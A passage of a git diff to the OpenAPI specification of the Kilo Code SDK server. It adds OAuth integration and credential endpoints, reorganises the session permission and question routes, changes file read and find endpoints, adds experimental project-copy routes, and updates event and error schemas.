"string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "expires": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + } + }, + "required": ["created", "expires"], + "additionalProperties": false + } + }, + "required": ["status", "message", "time"], + "additionalProperties": false + }, + { + "type": "object", + "properties": { + "status": { + "type": "string", + "enum": ["expired"] + }, + "time": { + "type": "object", + "properties": { + "created": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + }, + "expires": { + "anyOf": [ + { + "type": "number" + }, + { + "type": "string", + "enum": ["NaN"] + }, + { + "type": "string", + "enum": ["Infinity"] + }, + { + "type": "string", + "enum": ["-Infinity"] + }, + { + "type": "string", + "enum": ["Infinity", "-Infinity", "NaN"] + } + ] + } + }, + "required": ["created", "expires"], + "additionalProperties": false + } + }, + "required": ["status", "time"], + "additionalProperties": false + } + ] + } + }, + "required": ["location", "data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Poll the current status of an OAuth attempt.", + "summary": "Get OAuth attempt status", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.attempt.status({\n ...\n})" + } + ] + }, + "delete": { + "tags": ["integrations"], + "operationId": "v2.integration.attempt.cancel", + "parameters": [ + { + "name": "attemptID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Cancel an OAuth attempt and release its resources.", + "summary": "Cancel OAuth connection", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.attempt.cancel({\n ...\n})" + } + ] + } + }, + "/api/integration/attempt/{attemptID}/complete": { + "post": { + "tags": ["integrations"], + "operationId": "v2.integration.attempt.complete", + "parameters": [ + { + "name": "attemptID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/InvalidRequestError" + }, + { + "$ref": "#/components/schemas/InvalidRequestError" + } + ] + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Complete a code-based OAuth attempt and store the resulting credential.", + "summary": "Complete OAuth connection", + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "code": { + "type": "string" + } + }, + "additionalProperties": false + } + } + }, + "required": true + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.integration.attempt.complete({\n ...\n})" + } + ] + } + }, + "/api/credential/{credentialID}": { + "patch": { + "tags": ["Kilo HttpApi"], + "operationId": "v2.credential.update", + "parameters": [ + { + "name": "credentialID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + } + ], + "security": [], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Update a stored credential label.", + "summary": "Update credential", + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "label": { + "type": "string" + } + }, + "required": ["label"], + "additionalProperties": false + } + } + }, + "required": true + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.credential.update({\n ...\n})" + } + ] + }, + "delete": { + "tags": ["Kilo HttpApi"], + "operationId": "v2.credential.remove", + "parameters": [ + { + "name": "credentialID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + } + ], + "security": [], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Remove a stored integration credential.", + "summary": "Remove credential", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.credential.remove({\n ...\n})" + } + ] + } + }, "/api/permission/request": { "get": { - "tags": ["v2 permissions"], + "tags": ["permissions"], "operationId": "v2.permission.request.list", "parameters": [ { @@ -20982,184 +22134,9 @@ ] } }, - "/api/session/{sessionID}/permission/request": { - "get": { - "tags": ["v2 session permissions"], - "operationId": "v2.session.permission.list", - "parameters": [ - { - "name": "sessionID", - "in": "path", - "schema": { - "type": "string", - "pattern": "^ses.*" - }, - "required": true - } - ], - "security": [], - "responses": { - "200": { - "description": "Success", - "content": { - "application/json": { - "schema": { - "type": "object", - "properties": { - "data": { - "type": "array", - "items": { - "$ref": "#/components/schemas/PermissionV2Request" - } - } - }, - "required": ["data"], - "additionalProperties": false - } - } - } - }, - "400": { - "description": "InvalidRequestError", - "content": { - "application/json": { - "schema": { - "$ref": "#/components/schemas/InvalidRequestError" - } - } - } - }, - "401": { - "description": "UnauthorizedError", - "content": { - "application/json": { - "schema": { - "$ref": "#/components/schemas/UnauthorizedError" - } - } - } - }, - "404": { - "description": "SessionNotFoundError", - "content": { - "application/json": { - "schema": { - "$ref": "#/components/schemas/SessionNotFoundError" - } - } - } - } - }, - "description": "Retrieve pending permission requests owned by a session.", - "summary": "List session permission requests", - "x-codeSamples": [ - { - "lang": "js", - "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.permission.list({\n ...\n})" - } - ] - } - }, - "/api/session/{sessionID}/permission/request/{requestID}/reply": { - "post": { - "tags": ["v2 session permissions"], - "operationId": "v2.session.permission.reply", - "parameters": [ - { - "name": "sessionID", - "in": "path", - "schema": { - "type": "string", - "pattern": "^ses.*" - }, - "required": true - }, - { - "name": "requestID", - "in": "path", - "schema": { - "type": "string", - "pattern": "^per" - }, - "required": true - } - ], - "security": [], - "responses": { - "204": { - "description": "" - }, - "400": { - "description": "InvalidRequestError", - "content": { - "application/json": { - "schema": { - "$ref": "#/components/schemas/InvalidRequestError" - } - } - } - }, - "401": { - "description": "UnauthorizedError", - "content": { - "application/json": { - "schema": { - "$ref": "#/components/schemas/UnauthorizedError" - } - } - } - }, - "404": { - "description": "SessionNotFoundError | PermissionNotFoundError", - "content": { - "application/json": { - "schema": { - "anyOf": [ - { - "$ref": "#/components/schemas/SessionNotFoundError" - }, - { - "$ref": "#/components/schemas/PermissionNotFoundError" - } - ] - } - } - } - } - }, - "description": "Respond to a pending permission request owned by a session.", - "summary": "Reply to pending permission request", - "requestBody": { - "content": { - "application/json": { - "schema": { - "type": "object", - "properties": { - "reply": { - "$ref": "#/components/schemas/PermissionV2Reply" - }, - "message": { - "type": "string" - } - }, - "required": ["reply"], - "additionalProperties": false - } - } - }, - "required": true - }, - "x-codeSamples": [ - { - "lang": "js", - "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.permission.reply({\n ...\n})" - } - ] - } - }, "/api/permission/saved": { "get": { - "tags": ["v2 saved permissions"], + "tags": ["permissions"], "operationId": "v2.permission.saved.list", "parameters": [ { @@ -21226,7 +22203,7 @@ }, "/api/permission/saved/{id}": { "delete": { - "tags": ["v2 saved permissions"], + "tags": ["permissions"], "operationId": "v2.permission.saved.remove", "parameters": [ { @@ -21274,9 +22251,194 @@ ] } }, - "/api/fs/read": { + "/api/session/{sessionID}/permission": { "get": { - "tags": ["v2 filesystem"], + "tags": ["permissions"], + "operationId": "v2.session.permission.list", + "parameters": [ + { + "name": "sessionID", + "in": "path", + "schema": { + "type": "string", + "pattern": "^ses.*" + }, + "required": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/PermissionV2Request" + } + } + }, + "required": ["data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + }, + "404": { + "description": "SessionNotFoundError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] + } + } + } + } + }, + "description": "Retrieve pending permission requests owned by a session.", + "summary": "List session permission requests", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.permission.list({\n ...\n})" + } + ] + } + }, + "/api/session/{sessionID}/permission/{requestID}/reply": { + "post": { + "tags": ["permissions"], + "operationId": "v2.session.permission.reply", + "parameters": [ + { + "name": "sessionID", + "in": "path", + "schema": { + "type": "string", + "pattern": "^ses.*" + }, + "required": true + }, + { + "name": "requestID", + "in": "path", + "schema": { + "type": "string", + "pattern": "^per" + }, + "required": true + } + ], + "security": [], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + }, + "404": { + "description": "SessionNotFoundError | PermissionNotFoundError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/PermissionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] + } + } + } + } + }, + "description": "Respond to a pending permission request owned by a session.", + "summary": "Reply to pending permission request", + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "reply": { + "$ref": "#/components/schemas/PermissionV2Reply" + }, + "message": { + "type": "string" + } + }, + "required": ["reply"], + "additionalProperties": false + } + } + }, + "required": true + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.permission.reply({\n ...\n})" + } + ] + } + }, + "/api/fs/read/*": { + "get": { + "tags": ["filesystem"], "operationId": "v2.fs.read", "parameters": [ { @@ -21304,14 +22466,6 @@ "schema": { "type": "string" }, - "required": true - }, - { - "name": "reference", - "in": "query", - "schema": { - "type": "string" - }, "required": false } ], @@ -21320,26 +22474,10 @@ "200": { "description": "Success", "content": { - "application/json": { + "application/octet-stream": { "schema": { - "type": "object", - "properties": { - "location": { - "$ref": "#/components/schemas/LocationInfo" - }, - "data": { - "anyOf": [ - { - "$ref": "#/components/schemas/FileSystemTextContent" - }, - { - "$ref": "#/components/schemas/FileSystemBinaryContent" - } - ] - } - }, - "required": ["location", "data"], - "additionalProperties": false + "type": "string", + "format": "binary" } } } @@ -21365,7 +22503,7 @@ } } }, - "description": "Read one file relative to the requested location.", + "description": "Serve one file relative to the requested location.", "summary": "Read file", "x-codeSamples": [ { @@ -21377,7 +22515,7 @@ }, "/api/fs/list": { "get": { - "tags": ["v2 filesystem"], + "tags": ["filesystem"], "operationId": "v2.fs.list", "parameters": [ { @@ -21406,14 +22544,6 @@ "type": "string" }, "required": false - }, - { - "name": "reference", - "in": "query", - "schema": { - "type": "string" - }, - "required": false } ], "security": [], @@ -21472,9 +22602,115 @@ ] } }, + "/api/fs/find": { + "get": { + "tags": ["filesystem"], + "operationId": "v2.fs.find", + "parameters": [ + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + }, + { + "name": "query", + "in": "query", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "type", + "in": "query", + "schema": { + "type": "string", + "enum": ["file", "directory"] + }, + "required": false + }, + { + "name": "limit", + "in": "query", + "schema": { + "type": "string" + }, + "required": false + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "$ref": "#/components/schemas/LocationInfo" + }, + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/FileSystemEntry" + } + } + }, + "required": ["location", "data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "Find recursively ranked filesystem entries relative to the requested location.", + "summary": "Find files", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.fs.find({\n ...\n})" + } + ] + } + }, "/api/command": { "get": { - "tags": ["v2 commands"], + "tags": ["commands"], "operationId": "v2.command.list", "parameters": [ { @@ -21543,8 +22779,8 @@ } } }, - "description": "Retrieve currently registered v2 commands.", - "summary": "List v2 commands", + "description": "Retrieve currently registered commands.", + "summary": "List commands", "x-codeSamples": [ { "lang": "js", @@ -21555,7 +22791,7 @@ }, "/api/skill": { "get": { - "tags": ["v2 skills"], + "tags": ["skills"], "operationId": "v2.skill.list", "parameters": [ { @@ -21624,8 +22860,8 @@ } } }, - "description": "Retrieve currently registered v2 skills.", - "summary": "List v2 skills", + "description": "Retrieve currently registered skills.", + "summary": "List skills", "x-codeSamples": [ { "lang": "js", @@ -21636,7 +22872,7 @@ }, "/api/event": { "get": { - "tags": ["v2 events"], + "tags": ["events"], "operationId": "v2.event.subscribe", "parameters": [ { @@ -21692,8 +22928,8 @@ } } }, - "description": "Subscribe to native EventV2 payloads for a location.", - "summary": "Subscribe to v2 events", + "description": "Subscribe to native event payloads for a location.", + "summary": "Subscribe to events", "x-codeSamples": [ { "lang": "js", @@ -21704,7 +22940,7 @@ }, "/api/question/request": { "get": { - "tags": ["v2 questions"], + "tags": ["session questions"], "operationId": "v2.question.request.list", "parameters": [ { @@ -21783,9 +23019,94 @@ ] } }, - "/api/session/{sessionID}/question/request/{requestID}/reply": { + "/api/session/{sessionID}/question": { + "get": { + "tags": ["session questions"], + "operationId": "v2.session.question.list", + "parameters": [ + { + "name": "sessionID", + "in": "path", + "schema": { + "type": "string", + "pattern": "^ses.*" + }, + "required": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/QuestionV2Request" + } + } + }, + "required": ["data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + }, + "404": { + "description": "SessionNotFoundError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/SessionNotFoundError" + }, + { + "$ref": "#/components/schemas/SessionNotFoundError" + } + ] + } + } + } + } + }, + "description": "Retrieve pending question requests owned by a session.", + "summary": "List session question requests", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.session.question.list({\n ...\n})" + } + ] + } + }, + "/api/session/{sessionID}/question/{requestID}/reply": { "post": { - "tags": ["v2 session questions"], + "tags": ["session questions"], "operationId": "v2.session.question.reply", "parameters": [ { @@ -21838,11 +23159,14 @@ "application/json": { "schema": { "anyOf": [ + { + "$ref": "#/components/schemas/QuestionNotFoundError" + }, { "$ref": "#/components/schemas/SessionNotFoundError" }, { - "$ref": "#/components/schemas/QuestionNotFoundError" + "$ref": "#/components/schemas/SessionNotFoundError" } ] } @@ -21870,9 +23194,9 @@ ] } }, - "/api/session/{sessionID}/question/request/{requestID}/reject": { + "/api/session/{sessionID}/question/{requestID}/reject": { "post": { - "tags": ["v2 session questions"], + "tags": ["session questions"], "operationId": "v2.session.question.reject", "parameters": [ { @@ -21925,11 +23249,14 @@ "application/json": { "schema": { "anyOf": [ + { + "$ref": "#/components/schemas/QuestionNotFoundError" + }, { "$ref": "#/components/schemas/SessionNotFoundError" }, { - "$ref": "#/components/schemas/QuestionNotFoundError" + "$ref": "#/components/schemas/SessionNotFoundError" } ] } @@ -21947,6 +23274,322 @@ ] } }, + "/api/reference": { + "get": { + "tags": ["reference"], + "operationId": "v2.reference.list", + "parameters": [ + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "security": [], + "responses": { + "200": { + "description": "Success", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "$ref": "#/components/schemas/LocationInfo" + }, + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/ReferenceInfo" + } + } + }, + "required": ["location", "data"], + "additionalProperties": false + } + } + } + }, + "400": { + "description": "InvalidRequestError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/InvalidRequestError" + } + } + } + }, + "401": { + "description": "UnauthorizedError", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/UnauthorizedError" + } + } + } + } + }, + "description": "List references available in the requested location.", + "summary": "List references", + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.reference.list({\n ...\n})" + } + ] + } + }, + "/experimental/project/{projectID}/copy": { + "post": { + "tags": ["projectCopy"], + "operationId": "v2.projectCopy.create", + "parameters": [ + { + "name": "projectID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "responses": { + "200": { + "description": "ProjectCopy.Copy", + "content": { + "application/json": { + "schema": { + "$ref": "#/components/schemas/ProjectCopyCopy" + } + } + } + }, + "400": { + "description": "ProjectCopyError | InvalidRequestError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/ProjectCopyError" + }, + { + "$ref": "#/components/schemas/InvalidRequestError" + } + ] + } + } + } + } + }, + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "strategy": { + "type": "string" + }, + "directory": { + "type": "string" + }, + "name": { + "type": "string" + } + }, + "required": ["strategy", "directory"], + "additionalProperties": false + } + } + } + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.projectCopy.create({\n ...\n})" + } + ] + }, + "delete": { + "tags": ["projectCopy"], + "operationId": "v2.projectCopy.remove", + "parameters": [ + { + "name": "projectID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "ProjectCopyError | InvalidRequestError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/ProjectCopyError" + }, + { + "$ref": "#/components/schemas/InvalidRequestError" + } + ] + } + } + } + } + }, + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "force": { + "type": "boolean" + } + }, + "required": ["directory", "force"], + "additionalProperties": false + } + } + } + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.projectCopy.remove({\n ...\n})" + } + ] + } + }, + "/experimental/project/{projectID}/copy/refresh": { + "post": { + "tags": ["projectCopy"], + "operationId": "v2.projectCopy.refresh", + "parameters": [ + { + "name": "projectID", + "in": "path", + "schema": { + "type": "string" + }, + "required": true + }, + { + "name": "location", + "in": "query", + "schema": { + "type": "object", + "properties": { + "directory": { + "type": "string" + }, + "workspace": { + "type": "string" + } + }, + "additionalProperties": false + }, + "required": false, + "style": "deepObject", + "explode": true + } + ], + "responses": { + "204": { + "description": "" + }, + "400": { + "description": "ProjectCopyError | InvalidRequestError", + "content": { + "application/json": { + "schema": { + "anyOf": [ + { + "$ref": "#/components/schemas/ProjectCopyError" + }, + { + "$ref": "#/components/schemas/InvalidRequestError" + } + ] + } + } + } + } + }, + "x-codeSamples": [ + { + "lang": "js", + "source": "import { createKiloClient } from \"@kilocode/sdk\"\n\nconst client = createKiloClient()\nawait client.v2.projectCopy.refresh({\n ...\n})" + } + ] + } + }, "/pty/{ptyID}/connect": { "get": { "tags": ["pty"], @@ -22176,6 +23819,9 @@ { "$ref": "#/components/schemas/EventSessionNextPromptPromoted" }, + { + "$ref": "#/components/schemas/EventSessionNextInterruptRequested" + }, { "$ref": "#/components/schemas/EventSessionNextContextUpdated" }, @@ -22300,61 +23946,10 @@ "$ref": "#/components/schemas/EventPermissionReplied" }, { - "$ref": "#/components/schemas/EventTodoUpdated" + "$ref": "#/components/schemas/EventReferenceUpdated" }, { - "$ref": "#/components/schemas/EventSessionStatus" - }, - { - "$ref": "#/components/schemas/EventSessionIdle" - }, - { - "$ref": "#/components/schemas/EventSessionCompacted" - }, - { - "$ref": "#/components/schemas/EventCommandExecuted" - }, - { - "$ref": "#/components/schemas/EventProjectDirectoriesUpdated" - }, - { - "$ref": "#/components/schemas/EventProjectUpdated" - }, - { - "$ref": "#/components/schemas/EventLspUpdated" - }, - { - "$ref": "#/components/schemas/EventFileEdited" - }, - { - "$ref": "#/components/schemas/EventFileWatcherUpdated" - }, - { - "$ref": "#/components/schemas/EventVcsBranchUpdated" - }, - { - "$ref": "#/components/schemas/EventWorkspaceReady" - }, - { - "$ref": "#/components/schemas/EventWorkspaceFailed" - }, - { - "$ref": "#/components/schemas/EventWorkspaceStatus" - }, - { - "$ref": "#/components/schemas/EventWorktreeReady" - }, - { - "$ref": "#/components/schemas/EventWorktreeFailed" - }, - { - "$ref": "#/components/schemas/EventAccountAdded" - }, - { - "$ref": "#/components/schemas/EventAccountRemoved" - }, - { - "$ref": "#/components/schemas/EventAccountSwitched" + "$ref": "#/components/schemas/EventIntegrationUpdated" }, { "$ref": "#/components/schemas/EventPermissionV2Asked" @@ -22362,6 +23957,15 @@ { "$ref": "#/components/schemas/EventPermissionV2Replied" }, + { + "$ref": "#/components/schemas/EventProjectDirectoriesUpdated" + }, + { + "$ref": "#/components/schemas/EventFileEdited" + }, + { + "$ref": "#/components/schemas/EventFileWatcherUpdated" + }, { "$ref": "#/components/schemas/EventPtyCreated" }, @@ -22383,6 +23987,45 @@ { "$ref": "#/components/schemas/EventQuestionV2Rejected" }, + { + "$ref": "#/components/schemas/EventTodoUpdated" + }, + { + "$ref": "#/components/schemas/EventSessionStatus" + }, + { + "$ref": "#/components/schemas/EventSessionIdle" + }, + { + "$ref": "#/components/schemas/EventSessionCompacted" + }, + { + "$ref": "#/components/schemas/EventCommandExecuted" + }, + { + "$ref": "#/components/schemas/EventProjectUpdated" + }, + { + "$ref": "#/components/schemas/EventLspUpdated" + }, + { + "$ref": "#/components/schemas/EventVcsBranchUpdated" + }, + { + "$ref": "#/components/schemas/EventWorkspaceReady" + }, + { + "$ref": "#/components/schemas/EventWorkspaceFailed" + }, + { + "$ref": "#/components/schemas/EventWorkspaceStatus" + }, + { + "$ref": "#/components/schemas/EventWorktreeReady" + }, + { + "$ref": "#/components/schemas/EventWorktreeFailed" + }, { "$ref": "#/components/schemas/EventServerInstanceDisposed" } @@ -23353,6 +24996,10 @@ }, "diff": { "type": "string" + }, + "workspace": { + "type": "string", + "enum": ["restored", "snapshots-disabled", "unavailable"] } }, "required": ["messageID"], @@ -23641,6 +25288,27 @@ "required": ["name", "data"], "additionalProperties": false }, + "ContentFilterError": { + "type": "object", + "properties": { + "name": { + "type": "string", + "enum": ["ContentFilterError"] + }, + "data": { + "type": "object", + "properties": { + "message": { + "type": "string" + } + }, + "required": ["message"], + "additionalProperties": false + } + }, + "required": ["name", "data"], + "additionalProperties": false + }, "APIError": { "type": "object", "properties": { @@ -23734,6 +25402,9 @@ { "$ref": "#/components/schemas/ContextOverflowError" }, + { + "$ref": "#/components/schemas/ContentFilterError" + }, { "$ref": "#/components/schemas/APIError" } @@ -24350,6 +26021,17 @@ }, "snapshot": { "type": "string" + }, + "time": { + "type": "object", + "properties": { + "start": { + "type": "number", + "minimum": 0 + } + }, + "required": ["start"], + "additionalProperties": false } }, "required": ["id", "sessionID", "messageID", "type"], @@ -24393,6 +26075,47 @@ "required": ["providerID", "modelID"], "additionalProperties": false }, + "generationID": { + "type": "string" + }, + "vercelID": { + "type": "string" + }, + "metrics": { + "type": "object", + "properties": { + "prompt": { + "type": "number" + }, + "generation": { + "type": "number" + }, + "source": { + "type": "string", + "enum": ["provider", "computed"] + } + }, + "required": ["source"], + "additionalProperties": false + }, + "time": { + "type": "object", + "properties": { + "start": { + "type": "number", + "minimum": 0 + }, + "end": { + "type": "number", + "minimum": 0 + }, + "elapsed": { + "type": "number" + } + }, + "required": ["start", "end", "elapsed"], + "additionalProperties": false + }, "cost": { "type": "number" }, @@ -24665,12 +26388,6 @@ "items": { "$ref": "#/components/schemas/PromptAgentAttachment" } - }, - "references": { - "type": "array", - "items": { - "$ref": "#/components/schemas/PromptReferenceAttachment" - } } }, "required": ["text"], @@ -24981,6 +26698,70 @@ "required": ["name", "data"], "additionalProperties": false }, + "Pty": { + "type": "object", + "properties": { + "id": { + "type": "string", + "pattern": "^pty" + }, + "title": { + "type": "string" + }, + "command": { + "type": "string" + }, + "args": { + "type": "array", + "items": { + "type": "string" + } + }, + "cwd": { + "type": "string" + }, + "status": { + "type": "string", + "enum": ["running", "exited"] + }, + "pid": { + "type": "integer", + "minimum": 0 + }, + "sessionID": { + "anyOf": [ + { + "type": "string", + "pattern": "^ses" + }, + { + "type": "null" + } + ] + } + }, + "required": ["id", "title", "command", "args", "cwd", "status", "pid"], + "additionalProperties": false + }, + "Todo": { + "type": "object", + "properties": { + "content": { + "type": "string", + "description": "Brief description of the task" + }, + "status": { + "type": "string", + "description": "Current status of the task: pending, in_progress, completed, cancelled" + }, + "priority": { + "type": "string", + "description": "Priority level of the task: high, medium, low" + } + }, + "required": ["content", "status", "priority"], + "additionalProperties": false + }, "SessionStatus": { "anyOf": [ { @@ -25072,51 +26853,6 @@ } ] }, - "Pty": { - "type": "object", - "properties": { - "id": { - "type": "string", - "pattern": "^pty" - }, - "title": { - "type": "string" - }, - "command": { - "type": "string" - }, - "args": { - "type": "array", - "items": { - "type": "string" - } - }, - "cwd": { - "type": "string" - }, - "status": { - "type": "string", - "enum": ["running", "exited"] - }, - "pid": { - "type": "integer", - "minimum": 0 - }, - "sessionID": { - "anyOf": [ - { - "type": "string", - "pattern": "^ses" - }, - { - "type": "null" - } - ] - } - }, - "required": ["id", "title", "command", "args", "cwd", "status", "pid"], - "additionalProperties": false - }, "GlobalEvent": { "type": "object", "properties": { @@ -25269,6 +27005,9 @@ { "$ref": "#/components/schemas/EventSessionNextPromptPromoted" }, + { + "$ref": "#/components/schemas/EventSessionNextInterruptRequested" + }, { "$ref": "#/components/schemas/EventSessionNextContextUpdated" }, @@ -25393,61 +27132,10 @@ "$ref": "#/components/schemas/EventPermissionReplied" }, { - "$ref": 